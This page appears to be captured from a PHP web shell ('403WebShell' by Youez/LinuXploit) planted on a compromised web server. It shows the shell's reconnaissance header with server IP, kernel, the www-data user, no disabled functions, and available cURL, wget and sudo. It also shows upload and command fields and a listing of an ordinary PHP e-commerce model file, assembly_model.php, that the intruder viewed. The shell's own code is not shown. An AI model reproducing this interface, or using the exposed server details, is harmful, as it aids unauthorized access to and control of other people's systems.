Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/storeAssembly/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/storeAssembly/model/assembly_model.php
<?php

class Assembly_Model extends Database_Model {
	
	protected $product_id;
	protected $sp_assembly;
	protected $products;
	
	public function __construct() {
		parent::__construct();
	}

	public function ProductId() {
		if (func_num_args()) {
			$this->product_id = func_get_arg(0);
			$this->Load();
			return $this;
		}
		return $this->product_id;
	}

	public function IsAssembly() {
		if (func_num_args()) {
			$this->sp_assembly = func_get_arg(0);
			return $this;
		}
		return $this->sp_assembly;
	}
	
	public function Products() {
		if (func_num_args()) {
			$old_products = $this->products;
			$this->products = func_get_arg(0);
			return $this;
		}
		return $this->products;
	}

	public function AsDatatable() {
		return [
			'sp_id'			=> $this->product_id,
			'sp_assembly'	=> $this->sp_assembly,
			'products'		=> $this->products,
		];
	}

	protected function Load() {
		$info = $this->Query('select sp_id,sp_active,sp_assembly from store_product')
							->Where('sp_id=%d', $this->product_id)
							->First();
		if (!is_null($info) && !$info->empty()) {
			$this->sp_assembly = (int)$info->sp_assembly;
		} else {
			$this->sp_assembly = 0;
		}
		$info = $this->Query('select pa_order,pa_subproduct,pa_quantity,sp_product,sp_sku from store_assembly '.
								'left join store_product on sp_id=pa_subproduct')
					->Where('pa_product=%d', $this->product_id)
					->OrderBy('pa_order')
					->Get();
		$this->products = [];
		foreach($info as $row) {
			$this->products[] = [
				'id'		=> (int)$row->pa_subproduct,
				'seq'		=> (int)$row->pa_order,
				'desc'		=> $row->sp_product,
				'sku'		=> $row->sp_sku,
				'qty'		=> $row->pa_quantity,
				'auth'		=> hook_execute('nonce.create', FALSE, 'assembly', "{$this->product_id}:{$row->pa_order}", 1800),
			];
		}
	}

	public function Save() {
		$this->TableName('store_product')
			->InsertOrUpdate([
				'sp_id' 		=> $this->product_id,
			], [
				'sp_assembly'	=> $this->sp_assembly,
			]);
	}
	
	// only include products not already listed on the assembly page
	// unless editing, in which the current item can be included
	public function AsDatatable_Products($current_item = 0) {
		$product_id = (int) $this->product_id;
		$sql = <<<BLOCK
select sp_id,sp_product,sp_sku
  from store_product
	left join store_assembly as a on pa_subproduct=sp_id and pa_product={$product_id}
BLOCK;
		$rows = $this->Query($sql)
					->WhereOr($this->Where('pa_product is null'),$this->Where('sp_id=%d', $current_item))
					->Where('sp_active=%d', 1)
					->Get();
		$output = [];
		foreach($rows as $row) {
			$id = (int)$row->sp_id;
			$node = [
				'key'	=> $id,
				'value'	=> "{$row->sp_product} [{$row->sp_sku}]",
			];
			$output[] = $node;
		}
		return $output;
	}
	
	public function setSubProduct($sequence, $new_subproduct, $new_quantity) {
		$isNew = !$sequence;
		if (!$new_quantity && $isNew) return;			// nothing to save
		if ($isNew) {
			// generate new sequence number
			$row = $this->query('select max(pa_order) as c from store_assembly')
					->Where('pa_product=%d', $this->product_id)
					->First();
			$sequence = intval($row->c) + 1;
		}
			
		if (!$new_quantity) {
			$this->Query('delete from store_assembly')
					->Where('pa_product=%d', $this->product_id)
					->Where('pa_order=%d', $sequence)
					->Get();
		} else {
			$this->TableName('store_assembly')
				->InsertOrUpdate([
					'pa_product'	=> $this->product_id,
					'pa_order'		=> $sequence,
				],[
					'pa_subproduct'	=> $new_subproduct,
					'pa_quantity'	=> $new_quantity,
				]);
		}
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit